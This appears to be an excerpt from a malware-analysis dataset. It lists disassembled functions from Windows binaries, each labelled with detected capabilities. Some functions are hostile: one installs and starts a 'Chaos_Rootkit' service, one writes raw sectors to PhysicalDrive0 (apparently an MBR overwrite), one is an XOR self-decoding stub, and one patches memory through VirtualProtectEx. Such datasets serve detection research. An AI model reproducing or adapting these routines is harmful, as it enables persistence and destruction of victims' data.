joyce8/EMBER2024-capa huggingface dataset:
Function at 0x58dbb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5ab7d1
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x61de38]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp - 0x34]
mov ecx, 0x627f20
mov dword [ebp - 0x34], eax
push 0
mov dword [ebp - 0x34], 0x627f20
call fcn.004293a0
mov dword [ebp - 4], 0
mov dword [0x627f20], 0x5fb450
call fcn.0058dd40
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, eax
xor ebx, ebx
nop dword [eax]
nop dword [eax + eax]
mov esi, ebx
add esi, fcn.0058dd40
cmp dword [esi], 0xbbbbbbbb
jne 0x58dd12
lea eax, [ebp - 0x28]
push eax
push 0x40
push 5
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x58dcfa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x10
push str.Error
push str.VirtualProtectEx__
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [ebp - 0x28]
mov dword [ebp - 0x2c], 5
push eax
push 0x40
push 5
push esi
push edi
mov dword [ebp - 0x30], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x58dcfa
cmp dword [0x6279c0], eax
je 0x58dcbc
mov al, byte [0x6279a9]
cmp al, 1
je 0x58dcbc
cmp al, 4
lea eax, [ebp - 0x28]
push eax
push 0x40
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
push edi
je 0x58dcb2
call fcn.0041a820
add esp, 0x14
jmp 0x58dce6
call fcn.0041a840
add esp, 0x14
jmp 0x58dce6
lea eax, [ebp - 0x30]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], eax
lea edx, [ebp - 0x24]
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x18], 0x40
mov dword [ebp - 0x1c], eax
sub esp, 8
lea eax, [ebp - 0x28]
or ecx, 0xffffffff
mov dword [ebp - 0x14], eax
call fcn.0041a700
test eax, eax
jne 0x58dd1f
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x58dd1f
call fcn.005621fb
mov dword [esi], eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
push 5
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
inc ebx
cmp ebx, 0x3e8
jb 0x58dc20
mov eax, 0x627f20
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0055c6fa
mov esp, ebp
pop ebp
ret
Function at 0x592460
Capabilities:
Create service
Query service status
Start service

Disassembly:
sub esp, 0x20
mov eax, dword [0x61de38]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push edi
push 0xf003f
push 0
push 0
mov ebx, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x59249b
lea eax, [edi + 1]
pop edi
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0055c6fa
add esp, 0x20
ret
push esi
push 0xf01ff
push str.Chaos_Rootkit
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x592569
push str.Service_already_exists._n
call fcn.00406cd0
add esp, 4
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x592504
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push str.Unable_to_Query_Service_Status_n
call fcn.00406cd0
add esp, 4
mov eax, 1
pop esi
pop edi
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0055c6fa
add esp, 0x20
ret
mov eax, dword [esp + 0x10]
cmp eax, 1
jne 0x59255d
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x59254c
push str.Unable_to_Start_Service__n
call fcn.00406cd0
add esp, 4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop esi
pop edi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0055c6fa
add esp, 0x20
ret
push 0x5ebce4
call fcn.00406cd0
mov eax, dword [esp + 0x14]
add esp, 4
cmp eax, 4
jne 0x5925df
push str.The_service_is_running_already_..._n
jmp 0x5925d7
push 0
push 0
push 0
push 0
push 0
push ebx
push 0
push 3
push 1
push 0xf01ff
push str.Chaos_Rootkit
push str.Chaos_Rootkit
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
jne 0x5925b2
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea eax, [esi + 1]
pop esi
pop edi
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0055c6fa
add esp, 0x20
ret
push str.Service_created_successfully._n
call fcn.00406cd0
add esp, 4
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x592529
push str.Starting_service..._n
call fcn.00406cd0
add esp, 4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov ecx, dword [esp + 0x28]
xor eax, eax
pop esi
pop edi
pop ebx
xor ecx, esp
call fcn.0055c6fa
add esp, 0x20
ret
Function at 0x593050
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x108]
sub esp, 0x108
push 0xffffffffffffffff
push 0x5abc04
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x61de38]
xor eax, ebp
mov dword [ebp + 0x104], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [ebp + 0x110]
mov edx, 0x6278a0
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x593094
push str.DataBase.ini
push 0x6278a0
lea eax, [ebp]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [0x633710]
add esp, 0x10
mov dword [0x633714], eax
mov dword [0x63370c], 0
mov dword [0x63371c], 0
push 0
push 0
push 3
push 0
push 1
push 0xc0000000
lea eax, [ebp]
mov dword [ebp - 4], 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x18], esi
cmp esi, 0xffffffff
jne 0x593110
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], esi
jmp 0x593144
test esi, esi
je 0x593132
push 0
lea eax, [ebp - 0x10]
push eax
push 4
push 0x63370c
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x593183
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], 0xffffffff
test esi, esi
je 0x593144
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00592df0
mov eax, dword [0x6336c0]
mov ecx, 0x6336c0
call dword [eax]
call fcn.00595a40
neg eax
sbb eax, eax
neg eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp + 0x104]
xor ecx, ebp
call fcn.0055c6fa
lea esp, [ebp + 0x108]
pop ebp
ret 4
cmp dword [ebp - 0x10], 0
je 0x593132
push 0
lea eax, [ebp - 0x10]
push eax
push 4
push 0x63371c
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x5931b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], 0xffffffff
jmp 0x59313d
cmp dword [ebp - 0x10], 0
jne 0x5931c2
mov dword [ebp - 4], 0xffffffff
jmp 0x59313d
lea edx, [ebp - 0x18]
mov ecx, 0x633710
call fcn.00407860
test eax, eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x593144
push eax
jmp 0x59313e
Function at 0x599ca0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x254
mov eax, dword [0x61de38]
xor eax, esp
mov dword [esp + 0x250], eax
push ebx
push esi
push edi
push str.hunt_root
push 0x6278a0
lea eax, [esp + 0x158]
mov ebx, ecx
push 0x5f26a0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x599d19
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x250]
xor ecx, esp
call fcn.0055c6fa
mov esp, ebp
pop ebp
ret 4
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop
lea eax, [esp + 0x3c]
push eax
push ecx
mov ecx, ebx
call fcn.00599950
lea eax, [esp + 0x10]
push eax
push esi
call edi
test eax, eax
jne 0x599d20
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x25c]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0055c6fa
mov esp, ebp
pop ebp
ret 4

Function at 0x59a2d0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x254
mov eax, dword [0x61de38]
xor eax, esp
mov dword [esp + 0x250], eax
push ebx
push esi
mov eax, ecx
push edi
mov edi, dword [ebp + 8]
mov edx, edi
mov dword [esp + 0xc], eax
sub eax, edi
lea esi, [eax + 0xc]
nop dword [eax]
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], al
test al, al
jne 0x59a300
push edi
push 0x6278a0
lea eax, [esp + 0x158]
push str._s_s.root
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x59a363
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x250]
xor ecx, esp
call fcn.0055c6fa
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop dword [eax]
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x3c]
push eax
push edi
call fcn.0059a0d0
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x59a370
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x25c]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0055c6fa
mov esp, ebp
pop ebp
ret 4
Function at 0x59a3b0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x108]
sub esp, 0x108
push 0xffffffffffffffff
push 0x5ac0e8
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x61de38]
xor eax, ebp
mov dword [ebp + 0x104], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov ebx, dword [ebp + 0x110]
push 0x304
push 0
push edi
mov dword [ebp - 0x24], ebx
call fcn.0055ed60
add esp, 0xc
mov ecx, edi
call fcn.0059b690
lea ecx, [edi + 0x304]
call fcn.0059abb0
lea ecx, [edi + 0xfb0]
call fcn.0040db80
lea esi, [edi + 0xfb8]
mov dword [esi], 0
push 0
push 0
push 3
push 0
push 1
push 0xc0000000
push ebx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
jne 0x59a48e
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
test esi, esi
je 0x59a467
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x104]
xor ecx, ebp
call fcn.0055c6fa
lea esp, [ebp + 0x108]
pop ebp
ret 4
push esi
lea ecx, [ebp - 0x14]
call fcn.0040fb70
mov esi, dword [ebp - 0x14]
test eax, eax
je 0x59a45a
test esi, esi
je 0x59a45a
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0x18]
push 0
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
push esi
call ebx
test eax, eax
je 0x59a454
cmp dword [ebp - 0x18], 0
je 0x59a45a
push 0
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x1c]
push edi
push esi
call ebx
test eax, eax
je 0x59a454
cmp dword [ebp - 0x20], 0
je 0x59a45a
lea eax, [ebp - 0x14]
mov dword [edi + 0x4c], 0
push eax
lea ecx, [edi + 0x304]
mov dword [edi + 0x98], 0
call fcn.0059acf0
mov ebx, dword [ebp - 0x24]
lea edx, [ebp]
mov ecx, ebx
call fcn.00402c20
lea eax, [ebp]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push str.shopRoot.dat
lea eax, [ebp]
push eax
push str._sSetting_s
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [edi + 0xfb0]
push ebx
call fcn.0059aee0
mov esi, dword [ebp - 0x14]
mov dword [edi + 0xf0], 0
mov edi, 1
jmp 0x59a45c
Function at 0x59acf0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 8]
mov edx, esi
push edi
mov edi, ecx
mov dword [esp + 0x14], edi
call fcn.0040f1b0
test eax, eax
je 0x59aed5
lea ecx, [edi + 0xc]
mov edx, esi
call fcn.0040f1b0
test eax, eax
je 0x59aed5
lea ecx, [edi + 0x18]
mov edx, esi
call fcn.0040f1b0
test eax, eax
je 0x59aed5
lea ecx, [edi + 0x24]
mov edx, esi
call fcn.0040f2c0
test eax, eax
je 0x59aed5
lea ecx, [edi + 0x30]
mov edx, esi
call fcn.00407860
test eax, eax
je 0x59aed5
lea ecx, [edi + 0x48]
mov edx, esi
call fcn.00407860
test eax, eax
je 0x59aed5
lea ecx, [edi + 0x54]
mov edx, esi
call fcn.00407860
test eax, eax
je 0x59aed5
lea ecx, [edi + 0x6c]
mov edx, esi
call fcn.00407860
test eax, eax
je 0x59aed5
lea ecx, [edi + 0x78]
mov edx, esi
call fcn.0040f1b0
test eax, eax
je 0x59aed5
lea ecx, [edi + 0x84]
mov edx, esi
call fcn.0040f410
test eax, eax
je 0x59aed5
lea ecx, [edi + 0x90]
mov edx, esi
call fcn.0040f530
test eax, eax
je 0x59aed5
lea ecx, [edi + 0x9c]
mov edx, esi
call fcn.0040f640
test eax, eax
je 0x59aed5
lea ecx, [edi + 0xa8]
mov edx, esi
call fcn.0040f760
test eax, eax
je 0x59aed5
lea eax, [edi + 0x1b8]
xor ebx, ebx
mov edi, eax
mov edx, esi
mov ecx, edi
call fcn.0040f760
test eax, eax
je 0x59ae1b
inc ebx
add edi, 0x110
cmp ebx, 6
jl 0x59ae02
mov edi, dword [esp + 0x14]
mov edx, esi
lea ecx, [edi + 0xa38]
call fcn.0040f530
lea ecx, [edi + 0xa44]
mov edx, esi
call fcn.0040f760
test eax, eax
je 0x59aed5
lea ecx, [edi + 0xb54]
mov edx, esi
call fcn.0040f760
test eax, eax
je 0x59aed5
lea ecx, [edi + 0xc64]
mov edx, esi
call fcn.0040f8a0
test eax, eax
je 0x59aed5
lea ecx, [edi + 0xc70]
mov edx, esi
call fcn.0040f1b0
test eax, eax
je 0x59aed5
lea ecx, [edi + 0xc7c]
mov edx, esi
call fcn.0040f1b0
test eax, eax
je 0x59aed5
lea ecx, [edi + 0xc88]
mov edx, esi
call fcn.0040f1b0
test eax, eax
je 0x59aed5
lea ecx, [edi + 0x60]
mov edx, esi
call fcn.00407860
test eax, eax
je 0x59aed5
lea ecx, [edi + 0x3c]
mov edx, esi
call fcn.00407860
test eax, eax
je 0x59aed5
lea ecx, [edi + 0xc94]
mov edx, esi
call fcn.0040f9f0
test eax, eax
je 0x59aed5
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x59c7c0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x254
mov eax, dword [0x61de38]
xor eax, esp
mov dword [esp + 0x250], eax
push ebx
push esi
push edi
push 0x6278a0
lea eax, [esp + 0x154]
mov ebx, ecx
push str._sShop.
push eax
call fcn.00402b00
add esp, 0xc
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x59c831
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x250]
xor ecx, esp
call fcn.0055c6fa
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [esp + 0x3c]
mov ecx, ebx
push eax
call fcn.0059c4b0
lea eax, [esp + 0x10]
push eax
push esi
call edi
test eax, eax
jne 0x59c837
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x25c]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0055c6fa
mov esp, ebp
pop ebp
ret
Function at 0x4021ff
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push 0
push 0
push 0
lea ecx, [ebp - 0x18]
call fcn.0040230f
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x48], 0x30
and dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0x401ed4
and dword [ebp - 0x3c], 0
and dword [ebp - 0x38], 0
mov eax, dword [section..data]
mov dword [ebp - 0x34], eax
push 0x74
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x30], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [ebp - 0x2c], eax
and dword [ebp - 0x28], 0
and dword [ebp - 0x24], 0
mov dword [ebp - 0x20], str.MyClass
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
push 0
push dword [section..data]
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.Hello_World
push str.MyClass
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 8], eax
push 0
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x4022ec
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x4022cc
push dword [ebp - 4]
call sub.gdiplus.dll_GdiplusShutdown
leave
ret

Function at 0x450012
Capabilities:
Encode data using xor

Disassembly:
push dword fs:[0]
mov dword fs:[0], esp
xor ebx, ebx
push ebx
push ebx
push 0x80000000
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [0x44ff28]
sub edi, edi
sub ecx, ecx
mov cl, 0xe5
inc edi
loop 0x45003a
call 0x450042
pop esi
sub esi, 0xffffffc2
push esi
sub ebx, ebx
or ebx, 0x2394
mov al, byte [esi]
xor ax, di
xchg byte [esi], al
inc esi
sub ebx, 1
cmp ebx, 0
ja 0x450052
pop esi
mov esp, dword fs:[0]
pop dword fs:[0]
pop edi
pop ebp
jmp esi
Function at 0x4367fb
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x43683a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43683a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43683a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x43683a
cmp dword [ecx + 0x74], 0xe
jbe 0x43683a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x43c3b8
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x43c455
push ebx
push esi
call fcn.0043c381
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0043c315
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x43c402
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x43c454
push edi
push eax
call fcn.0043ad1b
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x43c422
call fcn.0043ad69
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x43c453
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0043c315
add esp, 0x20
test eax, eax
jne 0x43c441
push edi
call fcn.0043ad69
jmp 0x43c449
push ebx
call fcn.0043ad69
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x43d664
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4450d8
push 0x4450d0
push str.FlsAlloc
push 0x1f
call fcn.0043d523
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43d698
push dword [ebp + 8]
mov ecx, esi
call dword [0x443134]
call esi
jmp 0x43d69e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x43d6e2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4450e8
push 0x4450e0
push str.FlsGetValue
push 0x21
call fcn.0043d523
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43d719
push dword [ebp + 8]
mov ecx, esi
call dword [0x443134]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x43d721
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4450f0
push 0x4450e8
push str.FlsSetValue
push 0x22
call fcn.0043d523
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43d75b
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x443134]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x442b20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x442b4d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x442b4d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4013ca
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x40d0ec], 1
mov dword [0x40d0f0], 1
mov dword [0x40d0f4], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40140b
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40142e
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401450
cmp eax, 0x20b
je 0x401475
jmp 0x4014a0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401462
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x40148d
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, 0
leave
ret

Function at 0x4016da
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
cmp dword [ebp + 8], 1
jne 0x40171f
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._MessageBoxThread_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 4], str.new_text_layer
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_FindWindowA]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
cmp dword [ebp - 0x10], 0
je 0x40171f
cmp dword [ebp - 0x10], 0
je 0x401838
mov dword [ebp - 0x38], 0x73696874
mov dword [ebp - 0x34], 0x72747320
mov dword [ebp - 0x30], 0x20676e69
mov dword [ebp - 0x2c], 0x6c6c6977
mov dword [ebp - 0x28], 0x20656220
mov dword [ebp - 0x24], 0x62726167
mov dword [ebp - 0x20], 0x20656761
mov dword [ebp - 0x1c], 0x74657270
mov dword [ebp - 0x18], 0x73207974
mov dword [ebp - 0x14], 0x6e6f6f
mov byte [ebp - 0x38], 0
mov dword [ebp - 0xc], 0
jmp 0x401805
call sym._rand
mov edx, eax
mov ecx, 0xffffffaf
mov eax, ecx
imul dl
shr ax, 8
add eax, edx
sar al, 6
mov ecx, edx
sar cl, 7
sub eax, ecx
mov ecx, 0x5e
imul eax, ecx
mov ecx, eax
mov eax, edx
sub eax, ecx
movsx eax, al
add eax, 0x21
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x38]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4080b6
lea eax, [ebp - 0x38]
mov dword [esp], eax
call sym._sprintf
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x25
jle 0x4017af
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_SetWindowTextA]
call eax
sub esp, 8
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x40175c
nop
leave
ret 4
Function at 0x402f67
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x40000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x210]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0x4070a0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x210]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
jmp 0x403004